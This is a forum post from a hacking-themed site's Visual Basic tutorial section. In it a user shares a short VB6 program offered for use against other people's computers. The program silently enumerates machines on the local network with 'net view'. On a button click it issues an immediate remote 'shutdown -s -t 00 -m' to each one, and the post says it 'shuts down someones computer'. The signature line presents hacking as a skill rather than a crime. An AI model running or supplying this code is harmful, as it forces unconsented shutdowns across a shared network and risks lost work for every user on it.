Shut Down Project - Forum
Welcome To Expl0its Saturday, 12.03.2016, 9:43 AM
Main | Registration | Login Welcome Guest | RSS
[ New messages · Members · Forum rules · Search · RSS ]
Page 1 of 11
Forum moderator: iCryptic 
Forum » Coding Tutorials » Visual Basic, Any year. » Shut Down Project
Shut Down Project
Ex-RevDate: Friday, 10.08.2010, 4:21 AM | Message # 1
Unlimited Scorer
Group: Administrators
Messages: 71
Awards: 3
Reputation: 2
Status: Offline
Alright, so this is a code i been working on for about 30 mins,
it's not much , but it does do something ..

Code

[color=#FF0000]Private Sub Command1_Click()
Call Try
End Sub
Private Sub Form_Load()
Shell "cmd /c net view > %windir%\NetView.txt", vbHide
End Sub
Sub Try()
Dim i As Integer
Open Environ("WinDir") & "\NetView.txt" For Input As #1
   Input #1, word
   Input #1, word
   Input #1, word
    For i = 1 To 100
     Input #1, word
   If InStr(word, " ") < 1 Then
   Computer = Right(word, ((Len(word)) - 2))
   Shell "cmd /c shutdown -s -t 00 -m " & Computer
   ElseIf InStr(word, " ") > 0 Then
   n = InStr(word, " ")
   word = Left$(word, (n - 1)) 'returns the 11 chrs before space
   Computer = Right(word, ((Len(word)) - 2))
   Shell "cmd /c shutdown -s -t 00 -m " & Computer
   End If
Next i
Close #1
End Sub[/color]

This shuts down someones computer when clicked.


Hacking's Not a Crime. It's a Skill.

*Can Code Vb
*Can Code HTML
*Can Code Java

PM me for help.

 
Forum » Coding Tutorials » Visual Basic, Any year. » Shut Down Project
Page 1 of 11
Search:

Copyright MyCorp © 2016 Site managed by uCoz